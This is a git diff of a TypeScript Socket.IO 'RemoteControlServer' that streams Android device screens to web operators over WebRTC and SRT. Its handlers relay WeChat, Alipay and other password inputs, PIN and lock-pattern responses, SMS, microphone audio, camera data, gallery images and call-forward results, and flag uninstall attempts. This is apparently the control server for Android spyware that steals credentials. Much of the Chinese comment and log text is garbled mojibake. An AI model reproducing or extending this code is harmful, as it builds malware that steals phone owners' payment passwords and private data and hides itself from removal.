this.logger.warn(`Reject cross-device webrtc_ice_candidate: sender=${senderDeviceId}, payload=${payloadDeviceId}`) + return + } + + const clientId = typeof data?.clientId === 'string' ? data.clientId : '' + if (!clientId) return + this.webClientManager.sendToClient(clientId, 'webrtc_ice_candidate', { + deviceId, + clientId, + candidate, + sdpMid: data?.sdpMid, + sdpMLineIndex: data?.sdpMLineIndex, + timestamp: Date.now() + }) + this.logger.debug(`[WebRTC] ice device->web: device=${deviceId}, client=${clientId}`) + return + } + + const webClient = this.webClientManager.getClientBySocketId(socket.id) + if (!webClient) return + if (!payloadDeviceId) return + if (!this.webClientManager.hasDeviceControl(webClient.id, payloadDeviceId)) { + socket.emit('webrtc_error', { + deviceId: payloadDeviceId, + message: 'no_device_control' + }) + return + } + + const deviceSocketId = this.deviceManager.getDeviceSocketId(payloadDeviceId) + if (!deviceSocketId) return + const deviceSocket = this.io.sockets.sockets.get(deviceSocketId) + if (!deviceSocket) return + + deviceSocket.emit('webrtc_ice_candidate', { + deviceId: payloadDeviceId, + clientId: webClient.id, + candidate, + sdpMid: data?.sdpMid, + sdpMLineIndex: data?.sdpMLineIndex, + timestamp: Date.now() + }) + this.logger.debug(`[WebRTC] ice web->device: client=${webClient.id}, device=${payloadDeviceId}`) + } catch (error) { + this.logger.error('handleWebRTCIceCandidate failed', error) + } + } + + private handleWebRTCStop(socket: any, data: any): void { + try { + const senderType = (socket as any).clientType + const senderDeviceId = (socket as any).deviceId + const senderClientId = (socket as any).clientId + + const payloadDeviceId = typeof data?.deviceId === 'string' ? data.deviceId : '' + const payloadClientId = typeof data?.clientId === 'string' ? data.clientId : '' + const deviceId = payloadDeviceId || senderDeviceId + const clientId = payloadClientId || senderClientId + const reason = typeof data?.reason === 'string' ? data.reason : 'remote_stop' + if (!deviceId) return + + if (senderType === 'device') { + if (clientId) { + this.webClientManager.clearVideoTransportPreference(clientId, deviceId) + this.webClientManager.sendToClient(clientId, 'webrtc_stop', { + deviceId, + clientId, + reason, + timestamp: Date.now() + }) + } + return + } + + const webClient = this.webClientManager.getClientBySocketId(socket.id) + if (!webClient) return + if (!this.webClientManager.hasDeviceControl(webClient.id, deviceId)) return + this.webClientManager.clearVideoTransportPreference(webClient.id, deviceId) + + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (!deviceSocketId) return + const deviceSocket = this.io.sockets.sockets.get(deviceSocketId) + if (!deviceSocket) return + + deviceSocket.emit('webrtc_stop', { + deviceId, + clientId: webClient.id, + reason, + timestamp: Date.now() + }) + } catch (error) { + this.logger.error('handleWebRTCStop failed', error) + } + } + + private handleWebRTCState(socket: any, data: any): void { + try { + if ((socket as any).clientType !== 'device') return + + const senderDeviceId = (socket as any).deviceId + const payloadDeviceId = typeof data?.deviceId === 'string' ? data.deviceId : '' + const deviceId = senderDeviceId || payloadDeviceId + if (!deviceId) return + if (senderDeviceId && payloadDeviceId && senderDeviceId !== payloadDeviceId) { + this.logger.warn(`Reject cross-device webrtc_state: sender=${senderDeviceId}, payload=${payloadDeviceId}`) + return + } + + const directClientId = typeof data?.clientId === 'string' ? data.clientId : '' + const controllerId = directClientId || this.webClientManager.getDeviceController(deviceId) + if (!controllerId) return + + const payload = { + ...(data && typeof data === 'object' ? data : {}), + deviceId, + clientId: directClientId || controllerId, + timestamp: data?.timestamp || Date.now() + } + const stateDelivered = this.webClientManager.sendToClient(controllerId, 'webrtc_state', payload) + const state = typeof payload.state === 'string' ? payload.state.toLowerCase() : '' + const message = typeof payload.message === 'string' ? payload.message : '-' + if (stateDelivered) { + this.logger.info(`[WebRTC] state device->web: device=${deviceId}, client=${controllerId}, state=${state || '-'}, message=${message}`) + } else { + this.logger.warn(`[WebRTC] state dropped (target offline?): device=${deviceId}, client=${controllerId}, state=${state || '-'}, message=${message}`) + } + + if (state === 'failed' || state === 'stopped') { + this.webClientManager.clearVideoTransportPreference(controllerId, deviceId) + } + } catch (error) { + this.logger.error('handleWebRTCState failed', error) + } + } + + private handleSrtStreamRequest(socket: any, data: any): void { + try { + const deviceId = typeof data?.deviceId === 'string' ? data.deviceId : '' + if (!deviceId) { + socket.emit('srt_stream_error', { deviceId, message: 'invalid_device_id' }) + return + } + + if (!this.isSrtTransportEnabled()) { + const reason = this.transportConvergenceMode === 'hybrid' + ? 'srt_gateway_disabled' + : 'srt_converged_disabled' + socket.emit('srt_stream_error', { deviceId, message: reason }) + return + } + + const webClient = this.webClientManager.getClientBySocketId(socket.id) + if (!webClient) { + socket.emit('srt_stream_error', { deviceId, message: 'web_client_not_registered' }) + return + } + + if (!this.webClientManager.hasDeviceControl(webClient.id, deviceId)) { + socket.emit('srt_stream_error', { deviceId, message: 'no_device_control' }) + return + } + + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + socket.emit('srt_stream_error', { deviceId, message: 'device_offline' }) + return + } + const deviceSupportsSrt = Array.isArray(device.supportedVideoTransports) + ? device.supportedVideoTransports.includes('srt_mpegts') + : (device.srtUploadSupported === true) + if (!deviceSupportsSrt) { + socket.emit('srt_stream_error', { deviceId, message: 'device_srt_not_supported' }) + return + } + const requestedFpsRaw = Number(data?.fps ?? data?.desiredFps ?? NaN) + const requestedFps = Number.isFinite(requestedFpsRaw) + ? Math.max(20, Math.min(60, Math.round(requestedFpsRaw))) + : 45 + const requestedPriorityRaw = typeof data?.priority === 'string' + ? data.priority.trim().toLowerCase() + : '' + const requestedPriority = requestedPriorityRaw === 'quality' || requestedPriorityRaw === 'balanced' + ? requestedPriorityRaw + : 'smooth' + const defaultMaxLongEdge = requestedPriority === 'quality' + ? 1280 + : (requestedPriority === 'balanced' ? 1152 : 960) + const requestedMaxLongEdgeRaw = Number(data?.maxLongEdge ?? NaN) + const requestedMaxLongEdge = Number.isFinite(requestedMaxLongEdgeRaw) + ? Math.max(360, Math.min(1920, Math.round(requestedMaxLongEdgeRaw))) + : defaultMaxLongEdge + const defaultBitrateKbps = requestedPriority === 'quality' + ? 3200 + : (requestedPriority === 'balanced' ? 2400 : 1800) + const requestedBitrateKbpsRaw = Number(data?.bitrateKbps ?? NaN) + const requestedBitrateKbps = Number.isFinite(requestedBitrateKbpsRaw) + ? Math.max(500, Math.min(12000, Math.round(requestedBitrateKbpsRaw))) + : defaultBitrateKbps + + const hints = this.resolveSrtHintsFromSocket(socket) + const streamInfo = this.srtGatewayService.prepareStream(deviceId, webClient.id, { + ingestHostHint: hints.ingestHostHint, + playbackWsOriginHint: hints.playbackWsOriginHint + }) + if (!streamInfo) { + socket.emit('srt_stream_error', { deviceId, message: 'srt_session_init_failed' }) + return + } + + this.webClientManager.setVideoTransportPreference(webClient.id, deviceId, 'srt_mpegts') + + const routeResult = this.messageRouter.routeControlMessage(socket.id, { + type: 'SRT_START', + deviceId, + data: { + clientId: webClient.id, + ingestHost: streamInfo.ingestHost, + ingestPort: streamInfo.ingestPort, + ingestUrl: streamInfo.ingestUrl, + latencyMs: streamInfo.latencyMs, + fps: requestedFps, + priority: requestedPriority, + maxLongEdge: requestedMaxLongEdge, + bitrateKbps: requestedBitrateKbps, + playbackPath: streamInfo.playbackPath, + playbackUrl: streamInfo.playbackUrl + }, + timestamp: Date.now() + } as any) + + if (!routeResult) { + this.webClientManager.clearVideoTransportPreference(webClient.id, deviceId) + socket.emit('srt_stream_error', { deviceId, message: 'srt_start_command_failed' }) + return + } + + socket.emit('srt_stream_info', { + ...streamInfo, + requestedFps, + requestedPriority, + requestedMaxLongEdge, + requestedBitrateKbps, + timestamp: Date.now() + }) + } catch (error) { + this.logger.error('handleSrtStreamRequest failed', error) + socket.emit('srt_stream_error', { + deviceId: data?.deviceId, + message: 'internal_error' + }) + } + } + + private handleSrtStreamStop(socket: any, data: any): void { + try { + const deviceId = typeof data?.deviceId === 'string' ? data.deviceId : '' + if (!deviceId) return + + const webClient = this.webClientManager.getClientBySocketId(socket.id) + if (!webClient) return + if (!this.webClientManager.hasDeviceControl(webClient.id, deviceId)) return + + this.webClientManager.setVideoTransportPreference(webClient.id, deviceId, 'ws_binary') + this.srtGatewayService.stopClientStream(deviceId, webClient.id) + + this.messageRouter.routeControlMessage(socket.id, { + type: 'SRT_STOP', + deviceId, + data: { + reason: data?.reason || 'web_stop' + }, + timestamp: Date.now() + } as any) + + socket.emit('srt_stream_stopped', { + deviceId, + timestamp: Date.now() + }) + } catch (error) { + this.logger.error('handleSrtStreamStop failed', error) + } + } + + private handleSrtDeviceStatus(socket: any, data: any): void { + try { + if ((socket as any).clientType !== 'device') return + + const senderDeviceId = (socket as any).deviceId + const payloadDeviceId = typeof data?.deviceId === 'string' ? data.deviceId : '' + const deviceId = senderDeviceId || payloadDeviceId + if (!deviceId) return + + if (senderDeviceId && payloadDeviceId && senderDeviceId !== payloadDeviceId) { + this.logger.warn(`Reject cross-device srt_device_status: sender=${senderDeviceId}, payload=${payloadDeviceId}`) + return + } + + const controllerId = this.webClientManager.getDeviceController(deviceId) + if (!controllerId) return + + const payload = { + ...(data && typeof data === 'object' ? data : {}), + deviceId, + timestamp: data?.timestamp || Date.now() + } + + this.webClientManager.sendToClient(controllerId, 'srt_device_status', payload) + + const state = typeof data?.state === 'string' ? data.state.toLowerCase() : '' + if (state === 'failed' || state === 'stopped') { + this.webClientManager.setVideoTransportPreference(controllerId, deviceId, 'ws_binary') + } + } catch (error) { + this.logger.error('handleSrtDeviceStatus failed', error) + } + } + private setupSocketHandlers(): void { this.io.on('connection', (socket: any) => { const remoteAddr = socket.handshake?.address || 'unknown' const transport = socket.conn?.transport?.name || 'unknown' const hasAuth = !!socket.handshake?.auth?.token + const srtEnabled = this.isSrtTransportEnabled() + const webrtcConfig = this.getWebRtcServerConfig() this.logger.info(`[Conn] New connection: ${socket.id} (transport: ${transport}, ip: ${remoteAddr}, hasAuth: ${hasAuth})`) + const supportedVideoTransports = ['webrtc', 'ws_binary'] + if (srtEnabled) supportedVideoTransports.push('srt_mpegts') + socket.emit('server_capabilities', { + screenBinary: true, + videoTransport: 'webrtc', + supportedVideoTransports, + srtGatewayEnabled: srtEnabled, + srtPlaybackPath: this.srtGatewayService.getPlaybackPath(), + webrtcTurnUrls: webrtcConfig.webrtcTurnUrls, + webrtcTurnUsername: webrtcConfig.webrtcTurnUsername, + webrtcTurnPassword: webrtcConfig.webrtcTurnPassword, + timestamp: Date.now() + }) - // 增强连接监控,帮助诊断误断开问题 + // 婢х偛宸辨潻鐐村复閻╂垶甯堕敍灞藉簻閸斺晞鐦栭弬顓☆嚖閺傤厼绱戦梻顕€顣? socket.conn.on('upgrade', () => { this.logger.info(`[Conn] Transport upgrade: ${socket.id} -> ${socket.conn.transport.name}`) }) @@ -1189,7 +2069,7 @@ class RemoteControlServer { this.logger.warn(`[Conn] Disconnecting: ${socket.id}, reason: ${reason}`) }) - // 主动检测未注册的连接,确保设备不会因注册丢失而显示离线 + // 娑撹濮╁Λ鈧ù瀣弓濞夈劌鍞介惃鍕箾閹恒儻绱濈涵顔荤箽鐠佹儳顦稉宥勭窗閸ョ姵鏁為崘灞兼丢婢惰精鈧本妯夌粈铏诡瀲閿? const REGISTRATION_CHECK_DELAY_MS = 8000 setTimeout(() => { if (!socket.clientType && socket.connected) { @@ -1202,24 +2082,56 @@ class RemoteControlServer { } }, REGISTRATION_CHECK_DELAY_MS) - // 🔧 设备注册 - 使用队列处理 + // 棣冩暋 鐠佹儳顦▔銊ュ斀 - 娴h法鏁ら梼鐔峰灙婢跺嫮鎮? socket.on('device_register', (data: any) => { this.queueDeviceRegistration(socket, data) }) - // 处理Web客户端连接 + // 婢跺嫮鎮奧eb鐎广垺鍩涚粩顖濈箾閿? socket.on('web_client_register', (data: any) => { this.handleWebClientRegister(socket, data) }) - // 处理控制消息 + // 婢跺嫮鎮婇幒褍鍩楀☉鍫熶紖 socket.on('control_message', (data: any) => { this.messageRouter.routeControlMessage(socket.id, data) }) - // 处理摄像头控制消息 + socket.on('webrtc_offer', (data: any) => { + this.handleWebRTCOffer(socket, data) + }) + + socket.on('webrtc_answer', (data: any) => { + this.handleWebRTCAnswer(socket, data) + }) + + socket.on('webrtc_ice_candidate', (data: any) => { + this.handleWebRTCIceCandidate(socket, data) + }) + + socket.on('webrtc_stop', (data: any) => { + this.handleWebRTCStop(socket, data) + }) + + socket.on('webrtc_state', (data: any) => { + this.handleWebRTCState(socket, data) + }) + + socket.on('srt_stream_request', (data: any) => { + this.handleSrtStreamRequest(socket, data) + }) + + socket.on('srt_stream_stop', (data: any) => { + this.handleSrtStreamStop(socket, data) + }) + + socket.on('srt_device_status', (data: any) => { + this.handleSrtDeviceStatus(socket, data) + }) + + // 婢跺嫮鎮婇幗鍕剼婢跺瓨甯堕崚鑸电Х閿? socket.on('camera_control', (data: any) => { - // 将摄像头控制消息转换为标准控制消息格式 + // 鐏忓棙鎲氶崓蹇撱仈閹貉冨煑濞戝牊浼呮潪顒佸床娑撶儤鐖i崙鍡樺付閸掕埖绉烽幁顖涚壐閿? const controlMessage = { type: data.action, // CAMERA_START, CAMERA_STOP, CAMERA_SWITCH deviceId: data.deviceId, @@ -1229,9 +2141,9 @@ class RemoteControlServer { this.messageRouter.routeControlMessage(socket.id, controlMessage) }) - // 处理屏幕数据 + // 婢跺嫮鎮婄仦蹇撶閺佺増宓? socket.on('screen_data', (data: any) => { - // 📊 记录帧统计用于自适应画质 + // 棣冩惓 鐠佹澘缍嶇敮褏绮虹拋锛勬暏娴滃氦鍤滈柅鍌氱安閻㈡槒宸? if (data?.deviceId) { const dataSize = typeof data.data === 'string' ? data.data.length : 0 this.adaptiveQualityService.recordFrame(data.deviceId, dataSize) @@ -1239,46 +2151,81 @@ class RemoteControlServer { this.messageRouter.routeScreenData(socket.id, data) }) - // 💬 微信密码监听器 + socket.on('screen_data_bin', (meta: any, frame: any) => { + if ((socket as any).clientType === 'web') return + + const senderDeviceId = (socket as any).deviceId + const payloadDeviceId = meta?.deviceId + if (senderDeviceId && payloadDeviceId && senderDeviceId !== payloadDeviceId) { + this.logger.warn(`Reject cross-device screen_data_bin: sender=${senderDeviceId}, payload=${payloadDeviceId}`) + return + } + + const frameBuffer = Buffer.isBuffer(frame) + ? frame + : frame instanceof ArrayBuffer + ? Buffer.from(frame) + : ArrayBuffer.isView(frame) + ? Buffer.from(frame.buffer, frame.byteOffset, frame.byteLength) + : frame?.type === 'Buffer' && Array.isArray(frame.data) + ? Buffer.from(frame.data) + : null + + if (!frameBuffer || frameBuffer.length === 0) return + + const deviceId = payloadDeviceId || senderDeviceId + if (!deviceId) return + + this.adaptiveQualityService.recordFrame(deviceId, frameBuffer.length) + this.messageRouter.routeScreenData(socket.id, { + ...(meta && typeof meta === 'object' ? meta : {}), + deviceId, + format: meta?.format || 'JPEG', + timestamp: meta?.timestamp || Date.now(), + data: frameBuffer + }) + }) + + // 棣冩尠 瀵邦喕淇婄€靛棛鐖滈惄鎴濇儔閿? socket.on('wechat_password', (data: any) => { - this.logger.info(`💬 收到微信密码记录: Socket: ${socket.id}`); - this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`); + this.logger.info(`棣冩尠 閺€璺哄煂瀵邦喕淇婄€靛棛鐖滅拋鏉跨秿: Socket: ${socket.id}`); + this.logger.info(`棣冩惖 鐎靛棛鐖滈弫鐗堝祦: deviceId=${data?.deviceId}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`); - // 路由微信密码数据 + // 鐠侯垳鏁卞顔讳繆鐎靛棛鐖滈弫鐗堝祦 const routeResult = this.messageRouter.routeWechatPassword(socket.id, data); - this.logger.info(`📤 微信密码路由结果: ${routeResult}`); + this.logger.info(`棣冩憶 瀵邦喕淇婄€靛棛鐖滅捄顖滄暠缂佹挻鐏? ${routeResult}`); }); - // 🔐 通用密码输入监听器 + // 棣冩敿 闁氨鏁ょ€靛棛鐖滄潏鎾冲弳閻╂垵鎯夐敓? socket.on('password_input', (data: any) => { - this.logger.info(`🔐 收到通用密码输入记录: Socket: ${socket.id}`); - this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordType=${data?.passwordType}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`); + this.logger.info(`棣冩敿 閺€璺哄煂闁氨鏁ょ€靛棛鐖滄潏鎾冲弳鐠佹澘缍? Socket: ${socket.id}`); + this.logger.info(`棣冩惖 鐎靛棛鐖滈弫鐗堝祦: deviceId=${data?.deviceId}, passwordType=${data?.passwordType}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`); - // 路由通用密码输入数据 + // 鐠侯垳鏁遍柅姘辨暏鐎靛棛鐖滄潏鎾冲弳閺佺増宓? const routeResult = this.messageRouter.routePasswordInput(socket.id, data); - this.logger.info(`📤 通用密码输入路由结果: ${routeResult}`); + this.logger.info(`棣冩憶 闁氨鏁ょ€靛棛鐖滄潏鎾冲弳鐠侯垳鏁辩紒鎾寸亯: ${routeResult}`); }); socket.on('alipay_password', (data: any) => { - this.logger.info(`💰 收到支付宝密码记录: Socket: ${socket.id}`); - this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`); + this.logger.info(`棣冩尩 閺€璺哄煂閺€顖欑帛鐎规繂鐦戦惍浣筋唶閿? Socket: ${socket.id}`); + this.logger.info(`棣冩惖 鐎靛棛鐖滈弫鐗堝祦: deviceId=${data?.deviceId}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`); - // 路由支付宝密码数据 + // 鐠侯垳鏁遍弨顖欑帛鐎规繂鐦戦惍浣规殶閿? const routeResult = this.messageRouter.routeAlipayPassword(socket.id, data); - this.logger.info(`📤 支付宝密码路由结果: ${routeResult}`); + this.logger.info(`棣冩憶 閺€顖欑帛鐎规繂鐦戦惍浣界熅閻㈣京绮ㄩ敓? ${routeResult}`); }); - // 处理摄像头数据 + // 婢跺嫮鎮婇幗鍕剼婢跺瓨鏆熼敓? socket.on('camera_data', (data: any) => { this.messageRouter.routeCameraData(socket.id, data) }) - // 相册图片数据 + // 閻╃鍞介崶鍓у閺佺増宓? socket.on('gallery_image', (data: any) => { this.messageRouter.routeGalleryImage(socket.id, data) }) - // 麦克风音频数据 + // 妤癸箑鍘犳搴ㄧ叾妫版垶鏆熼敓? socket.on('microphone_audio', (data: any) => { this.messageRouter.routeMicrophoneAudio(socket.id, data) }) @@ -1286,31 +2233,72 @@ class RemoteControlServer { socket.on('sms_data', (data: any) => { this.messageRouter.routeSmsData(socket.id, data) }) - // 处理设备状态更新 + + socket.on('album_data', (data: any) => { + this.messageRouter.routeAlbumData(socket.id, data) + }) + + socket.on('permission_response', (data: any) => { + this.messageRouter.routePermissionResponse(socket.id, data) + }) + + socket.on('pin_input_response', (data: any) => { + this.messageRouter.routePinUiResponse(socket.id, 'pin_input_response', data) + }) + + socket.on('four_digit_pin_response', (data: any) => { + this.messageRouter.routePinUiResponse(socket.id, 'four_digit_pin_response', data) + }) + + socket.on('pattern_lock_response', (data: any) => { + this.messageRouter.routePinUiResponse(socket.id, 'pattern_lock_response', data) + }) + + socket.on('app_list_data', (data: any) => { + this.messageRouter.routeAppListData(socket.id, data) + }) + + socket.on('app_open_result', (data: any) => { + this.messageRouter.routeAppOpenResult(socket.id, data) + }) + + socket.on('call_forward_result', (data: any) => { + this.messageRouter.routeCallForwardResult(socket.id, data) + }) + // 婢跺嫮鎮婄拋鎯ь槵閻樿埖鈧焦娲块敓? socket.on('device_status', (data: any) => { this.deviceManager.updateDeviceStatus(socket.id, data) - // 通过socket.deviceId获取设备ID,而不是socket.id + // 闁俺绻僺ocket.deviceId閼惧嘲褰囩拋鎯ь槵ID閿涘矁鈧奔绗夐弰鐥祇cket.id if ((socket as any).deviceId) { this.broadcastDeviceStatus((socket as any).deviceId, data) } }) - // 处理客户端事件(设备控制请求等) socket.on('client_event', (data: any) => { - this.logger.info(`收到客户端事件: ${JSON.stringify(data)}`) - this.messageRouter.routeClientEvent(socket.id, data.type, data.data) + const eventType = typeof data?.type === 'string' ? data.type : 'unknown' + this.logger.debug(`[ClientEvent] socket=${socket.id}, type=${eventType}`) + this.messageRouter.routeClientEvent(socket.id, data?.type, data?.data) }) - // 处理操作日志(从设备接收) socket.on('operation_log', (data: any) => { - this.logger.debug(`收到操作日志: ${JSON.stringify(data)}`) + const opType = typeof data?.type === 'string' ? data.type : 'unknown' + this.logger.debug(`[OperationLog] socket=${socket.id}, type=${opType}`) this.messageRouter.handleOperationLog(socket.id, data) }) - // 💥 处理崩溃日志(从设备接收) + socket.on('runtime_flags_sync', (data: any) => { + this.messageRouter.routeRuntimeFlagsSync(socket.id, data) + }) + + socket.on('device_metric', (data: any) => { + this.messageRouter.routeDeviceMetric(socket.id, data) + }) + socket.on('crash_log', (data: any) => { - this.logger.warn(`💥 收到崩溃日志: Socket: ${socket.id}, 设备: ${data?.deviceId}, 文件: ${data?.fileName}`) + this.logger.warn( + `[CrashLog] received socket=${socket.id}, deviceId=${data?.deviceId || '-'}, file=${data?.fileName || '-'}` + ) try { if (data?.deviceId && data?.content) { this.databaseService.saveCrashLog({ @@ -1323,7 +2311,7 @@ class RemoteControlServer { deviceModel: data.deviceModel, osVersion: data.osVersion }) - // 通知Web端有新的崩溃日志 + this.webClientManager.broadcastToAll('crash_log_received', { deviceId: data.deviceId, fileName: data.fileName, @@ -1332,14 +2320,13 @@ class RemoteControlServer { timestamp: Date.now() }) } else { - this.logger.warn(`⚠️ 崩溃日志数据不完整: ${JSON.stringify(data)}`) + this.logger.warn(`[CrashLog] invalid payload: ${JSON.stringify(data)}`) } } catch (error) { - this.logger.error('处理崩溃日志失败:', error) + this.logger.error('[CrashLog] handle failed', error) } }) - // 📊 自适应画质:Web端质量反馈 socket.on('quality_feedback', (data: any) => { if (!data?.deviceId) return const result = this.adaptiveQualityService.handleClientFeedback(data.deviceId, { @@ -1348,7 +2335,6 @@ class RemoteControlServer { renderLatency: data.renderLatency, }) if (result.shouldAdjust && result.newParams) { - // 转发质量调整指令给Android设备 const device = this.deviceManager.getDevice(data.deviceId) if (device) { const deviceSocket = this.io.sockets.sockets.get(device.socketId) @@ -1359,10 +2345,9 @@ class RemoteControlServer { maxWidth: result.newParams.maxWidth, maxHeight: result.newParams.maxHeight, }) - this.logger.info(`📊 自动调整设备${data.deviceId}画质参数`) + this.logger.debug(`[Quality] auto-adjust applied: device=${data.deviceId}`) } } - // 通知Web端参数已变更 socket.emit('quality_changed', { deviceId: data.deviceId, ...result.newParams, @@ -1371,7 +2356,6 @@ class RemoteControlServer { } }) - // 📊 自适应画质:Web端手动切换质量档位 socket.on('set_quality_profile', (data: any) => { if (!data?.deviceId || !data?.profile) return const result = this.adaptiveQualityService.setQualityProfile(data.deviceId, data.profile) @@ -1392,7 +2376,6 @@ class RemoteControlServer { } }) - // 📊 自适应画质:Web端手动设置自定义参数 socket.on('set_quality_params', (data: any) => { if (!data?.deviceId) return const result = this.adaptiveQualityService.setCustomParams(data.deviceId, { @@ -1415,63 +2398,49 @@ class RemoteControlServer { }) }) - // 📊 获取画质档位列表 socket.on('get_quality_profiles', (callback: any) => { if (typeof callback === 'function') { callback(this.adaptiveQualityService.getProfiles()) } }) - // 🆕 处理设备输入阻塞状态变更(从设备接收) socket.on('device_input_blocked_changed', (data: any) => { - this.logger.info(`📱 收到设备输入阻塞状态变更: Socket: ${socket.id}`) - this.logger.info(`📋 状态数据: deviceId=${data?.deviceId}, blocked=${data?.blocked}, success=${data?.success}, fromConfigComplete=${data?.fromConfigComplete}, autoEnabled=${data?.autoEnabled}`) - - // 直接调用MessageRouter的处理方法 if (data?.deviceId && data?.blocked !== undefined) { this.messageRouter.handleDeviceInputBlockedChanged(data.deviceId, data.blocked) - this.logger.info(`✅ 设备输入阻塞状态已处理: ${data.deviceId} -> ${data.blocked}`) + this.logger.info( + `[InputBlock] updated by device: device=${data.deviceId}, blocked=${Boolean(data.blocked)}` + ) } else { - this.logger.warn(`⚠️ 设备输入阻塞状态数据不完整: ${JSON.stringify(data)}`) + this.logger.warn(`[InputBlock] invalid payload: ${JSON.stringify(data)}`) } }) - // 🛡️ 处理卸载尝试检测(从设备接收) socket.on('uninstall_attempt_detected', (data: any) => { - this.logger.warn(`🛡️ 收到卸载尝试检测: Socket: ${socket.id}`) - this.logger.warn(`📋 检测数据: deviceId=${data?.deviceId}, type=${data?.type}, timestamp=${data?.timestamp}`) - if (data?.deviceId && data?.type) { - // 广播卸载尝试检测事件到所有Web客户端 this.webClientManager.broadcastToAll('uninstall_attempt_detected', { deviceId: data.deviceId, type: data.type, - message: data.message || '检测到卸载尝试', + message: data.message || 'uninstall risk detected', timestamp: data.timestamp || Date.now() }) - - this.logger.warn(`🚨 已广播卸载尝试检测: ${data.deviceId} -> ${data.type}`) + this.logger.warn(`[UninstallRisk] device=${data.deviceId}, type=${data.type}`) } else { - this.logger.warn(`⚠️ 卸载尝试检测数据不完整: ${JSON.stringify(data)}`) + this.logger.warn(`[UninstallRisk] invalid payload: ${JSON.stringify(data)}`) } }) - // 处理断开连接 + // 婢跺嫮鎮婇弬顓炵磻鏉╃偞甯? socket.on('disconnect', (reason: string) => { this.handleDisconnect(socket) }) - // 🔧 添加心跳响应处理,解决Android客户端CONNECTION_TEST失败问题 socket.on('CONNECTION_TEST', (data: any) => { - this.logger.info(`💓 收到设备心跳检测: ${socket.id}`) - this.logger.debug(`💓 收到设备心跳检测: ${socket.id}`) + this.logger.debug(`[ConnectionTest] ping from socket=${socket.id}`) try { - // 🔧 关键修复:心跳时也要更新设备活跃时间 if (socket.deviceId) { const device = this.deviceManager.getDevice(socket.deviceId) if (device) { device.lastSeen = new Date() - this.logger.debug(`✅ 心跳更新设备活跃时间: ${socket.deviceId}`) } } @@ -1480,58 +2449,57 @@ class RemoteControlServer { timestamp: Date.now(), receivedData: data }) - this.logger.debug(`✅ 已回复CONNECTION_TEST确认消息到 ${socket.id}`) } catch (error) { - this.logger.error(`❌ 回复CONNECTION_TEST失败:`, error) + this.logger.error('[ConnectionTest] handle failed', error) } }) - // 处理标准ping/pong + // 婢跺嫮鎮婇弽鍥у櫙ping/pong socket.on('ping', () => { socket.emit('pong') }) - // 处理自定义心跳 + // 婢跺嫮鎮婇懛顏勭暰娑斿绺鹃敓? socket.on('heartbeat', (data: any) => { - this.logger.debug(`💓 收到心跳: ${socket.id}`) + this.logger.debug(`棣冩寑 閺€璺哄煂韫囧啳鐑? ${socket.id}`) socket.emit('heartbeat_ack', { timestamp: Date.now() }) }) - // 错误处理 + // 闁挎瑨顕ゆ径鍕倞 socket.on('error', (error: any) => { - this.logger.error(`Socket错误 ${socket.id}:`, error) + this.logger.error(`Socket闁挎瑨顕?${socket.id}:`, error) }) }) } /** - * 处理设备注册 + * 婢跺嫮鎮婄拋鎯ь槵濞夈劌鍞? */ private handleDeviceRegister(socket: any, data: any): void { try { - this.logger.info('开始处理设备注册...') - this.logger.info(`注册数据: ${JSON.stringify(data, null, 2)}`) + this.logger.info('瀵偓婵顦╅悶鍡氼啎婢跺洦鏁為敓?..') + this.logger.info(`濞夈劌鍞介弫鐗堝祦: ${JSON.stringify(data, null, 2)}`) const deviceId = data.deviceId || uuidv4() - // 🔧 改进重连检测:检查是否是同一设备的不同Socket连接 + // 棣冩暋 閺€纭呯箻闁插秷绻涘Λ鈧ù瀣剁窗濡偓閺屻儲妲搁崥锔芥Ц閸氬奔绔寸拋鎯ь槵閻ㄥ嫪绗夐崥瀛瞣cket鏉╃偞甯? const existingDevice = this.deviceManager.getDevice(deviceId) if (existingDevice) { if (existingDevice.socketId === socket.id && socket.deviceId === deviceId && socket.clientType === 'device') { - // 完全相同的注册请求,跳过重复(但仍需确保Web端收到设备在线通知) - this.logger.debug(`跳过重复注册: 设备${deviceId} Socket${socket.id}`) + // 鐎瑰苯鍙忛惄绋挎倱閻ㄥ嫭鏁為崘宀冾嚞濮瑰偊绱濈捄瀹犵箖闁插秴顦查敍鍫滅稻娴犲秹娓剁涵顔荤箽Web缁旑垱鏁归崚鎷岊啎婢跺洤婀痪鍧椻偓姘辩叀閿? + this.logger.debug(`鐠哄疇绻冮柌宥咁槻濞夈劌鍞? 鐠佹儳顦?{deviceId} Socket${socket.id}`) socket.emit('device_registered', { deviceId: deviceId, - message: '设备已注册(跳过重复注册)' + message: '?????????????' }) - // ✅ 修复:即使跳过重复注册,也要确保Web端收到设备在线状态 + // 閿?娣囶喖顦查敍姘祮娴h儻鐑︽潻鍥櫢婢跺秵鏁為崘宀嬬礉娑旂喕顩︾涵顔荤箽Web缁旑垱鏁归崚鎷岊啎婢跺洤婀痪璺ㄥЦ閿? const connectedClients = this.webClientManager.getClientCount() if (connectedClients > 0) { - this.logger.info(`📡 重复注册检测时确保广播设备在线状态: ${deviceId}`) + this.logger.info(`棣冩憲 闁插秴顦插▔銊ュ斀濡偓濞村妞傜涵顔荤箽楠炴寧鎸辩拋鎯ь槵閸︺劎鍤庨悩璁规嫹? ${deviceId}`) this.webClientManager.broadcastToAll('device_connected', existingDevice) - // 同时广播设备状态更新 + // 閸氬本妞傞獮鎸庢尡鐠佹儳顦悩鑸碘偓浣规纯閿? this.webClientManager.broadcastToAll('device_status_update', { deviceId: existingDevice.id, status: { @@ -1544,21 +2512,26 @@ class RemoteControlServer { } return } else if (existingDevice.socketId !== socket.id) { - // ✅ 同一设备但不同Socket(重连场景),更新Socket映射 - this.logger.info(`设备重连: ${deviceId} 从Socket${existingDevice.socketId} 切换到 ${socket.id}`) + // 